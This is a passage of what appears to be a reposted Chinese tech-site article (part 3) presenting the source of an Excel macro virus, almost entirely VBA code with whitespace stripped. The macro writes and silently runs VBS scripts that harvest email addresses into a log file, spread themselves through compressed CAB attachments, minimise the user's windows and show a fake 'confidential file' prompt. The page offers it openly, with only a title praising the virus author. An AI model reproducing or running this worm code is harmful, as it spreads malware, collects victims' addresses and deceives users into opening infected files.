EXCEL_宏病毒代码   边上写了一点翻译，病毒作者水平真正是很NB的。(3)

Print#i,'trimed_arr(i)=matchs.Item(i)&vbCrLf'

Print#i,'Next'

Print#i,''

Print#i,'Fori=LBound(trimed_arr)ToUBound(trimed_arr)'

Print#i,'oDict(trimed_arr(i))='''&''''&''

Print#i,'Next'

Print#i,''

Print#i,'IfoDict.Count>0Then'

Print#i,'nonsame_arr=oDict.keys'

Print#i,'Fori=LBound(nonsame_arr)ToUBound(nonsame_arr)'

Print#i,'valid_address=valid_address&nonsame_arr(i)'

Print#i,'Next'

Print#i,'EndIf'

Print#i,'SetoDict=Nothing'

Print#i,'EndFunction'

Print#i,''

Print#i,'PrivateSubadd_text(inputed_string,input_frag)'

Print#i,'DimobjFSO,logfile,logtext,log_path,log_folder'

Print#i,'log_path='''&'D:\Collected_Address'''&''

Print#i,'SetobjFSO=CreateObject('''&'Scripting.FileSystemObject'''&')'

Print#i,'OnErrorresumenext'

Print#i,'Setlog_folder=objFSO.CreateFolder(log_path)'

Print#i,''

Print#i,'IfobjFSO.FileExists(log_path&'''&'\log.txt'''&')=0Then'

Print#i,'Setlogfile=objFSO.CreateTextFile(log_path&'''&'\log.txt'''&',True)'

Print#i,'EndIf'

Print#i,'Setlog_folder=Nothing'

Print#i,'Setlogfile=Nothing'

Print#i,''

Print#i,'SelectCaseinput_frag'

Print#i,'Case8'

Print#i,'Setlogtext=objFSO.OpenTextFile(log_path&'''&'\log.txt'''&',8,True,-1)'

Print#i,'logtext.Writeinputed_string'

Print#i,'logtext.Close'

Print#i,'Case2'

Print#i,'Setlogtext=objFSO.OpenTextFile(log_path&'''&'\log.txt'''&',2,True,-1)'

Print#i,'logtext.Writeinputed_string'

Print#i,'logtext.Close'

Print#i,'EndSelect'

Print#i,'setobjFSO=nothing'

Print#i,'EndSub'

Print#i,''

Print#i,'PrivateFunctionReadAllTextFile()'

Print#i,'DimobjFSO,FileName,MyFile'

Print#i,'FileName='''&'D:\Collected_Address\log.txt'''&''

Print#i,'SetobjFSO=CreateObject('''&'Scripting.FileSystemObject'''&')'

Print#i,'SetMyFile=objFSO.OpenTextFile(FileName,1,False,-1)'

Print#i,'IfMyFile.AtEndOfStreamThen'

Print#i,'ReadAllTextFile='''&''''&''

Print#i,'Else'

Print#i,'ReadAllTextFile=MyFile.ReadAll'

Print#i,'EndIf'

Print#i,'setobjFSO=nothing'

Print#i,'EndFunction'

Print#i,''

Print#i,'PrivateFunctionall_non_same(source_data)'

Print#i,'DimoDict,i,trimed_arr,nonsame_arr'

Print#i,'all_non_same='''&''''&''

Print#i,'SetoDict=CreateObject('''&'Scripting.Dictionary'''&')'

Print#i,''

Print#i,'trimed_arr=Split(source_data,vbCrLf)'

Print#i,''

Print#i,'Fori=LBound(trimed_arr)ToUBound(trimed_arr)'

Print#i,'oDict(trimed_arr(i))='''&''''&''

Print#i,'Next'

Print#i,''

Print#i,'IfoDict.Count>0Then'

Print#i,'nonsame_arr=oDict.keys'

Print#i,'Fori=LBound(nonsame_arr)ToUBound(nonsame_arr)'

Print#i,'all_non_same=all_non_same&nonsame_arr(i)&vbCrLf'

Print#i,'Next'

Print#i,'EndIf'

Print#i,'SetoDict=Nothing'

Print#i,'EndFunction'

Close(i)

Application.WindowState=xlMaximized

WshShell.Run('wscript.exe'&AddVbsFile_search),vbHide,False

SetWshShell=Nothing

EndSub

PrivateSubCreatCab_SendMail()

DimiAsInteger,AttNameAsString,AddVbsFileAsString,AddListFileAsString,Address_listAs

String

DimfsAsObject,WshShellAsObject

Address_list=get_ten_address

SetWshShell=CreateObject('WScript.Shell')

Setfs=CreateObject('scripting.filesystemobject')

Iffs.Folderexists('E:\SORCE')=FalseThenfs.CreateFolder'E:\SORCE'

AttName=Replace(Replace(Left(ThisWorkbook.Name,Len(ThisWorkbook.Name)-4),'','_'),'.','_')

mail_sub='*'&AttName&'*Message*'

AddVbsFile='E:\sorce\'&AttName&'_Key.vbs'

i=FreeFile()

OpenAddVbsFileForOutputAccessWriteAs#i

Print#i,'Dimoexcel,owb,WshShell,Fso,Atta_xls,sh,route'

Print#i,'OnerrorResumeNext'

Print#i,'Setsh=WScript.CreateObject('''&'shell.application'''&')'

Print#i,'sh.MinimizeAll'

Print#i,'Setsh=Nothing'

Print#i,'SetFso=CreateObject('''&'Scripting.FileSystemObject'''&')'

Print#i,'SetWshShell=WScript.CreateObject('''&'WScript.Shell'''&')'

Print#i,'IfFso.Folderexists('''&'E:\KK'''&')=FalseThenFso.CreateFolder'''&'E:\KK'''

Print#i,'Fso.CopyFile_'

Print#i,'WshShell.CurrentDirectory&'''&'\'&AttName&'*.CAB'''&','&''&'''E:\KK\'''&',

True'

Print#i,'ForEachAtta_xlsInListDir('''&'E:\KK'''&')'

Print#i,'WshShell.Run'''&'expand'''&'&Atta_xls&'''&'-F:'&AttName&'.xlsE:\KK'''&

',0,true'

Print#i,'Next'

Print#i,'IfFso.FileExists('''&'E:\KK\'&AttName&'.xls'''&')=0then'

Print#i,'route=WshShell.CurrentDirectory&'''&'\'&AttName&'.xls'''

Print#i,'ifFso.FileExists(WshShell.CurrentDirectory&'''&'\'&AttName&'.xls'''&')=0

then'

Print#i,'route=InputBox('''&'Warning!'''&'&Chr(10)&'''&'Youaregoing

toopenaconfidentialfile.'''&'&Chr(10)_'

Print#i,'&'''&'Pleaseinputthecompletefilepath.'''&'&Chr

(10)&'''&'ex.C:\parth\confidential_file.xls'''&',_'

Print#i,''''&'OpenaFile'''&','''&'PleaseInputtheComplete

FilePath'''&',10000,8500)'

Print#i,'Endif'

Print#i,'else'

Print#i,'route='''&'E:\KK\'&AttName&'.xls'''

Print#i,'EndIf'

Print#i,'setoexcel=createobject('''&'excel.application'''&')'

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/ruanjian/article-121978-3.html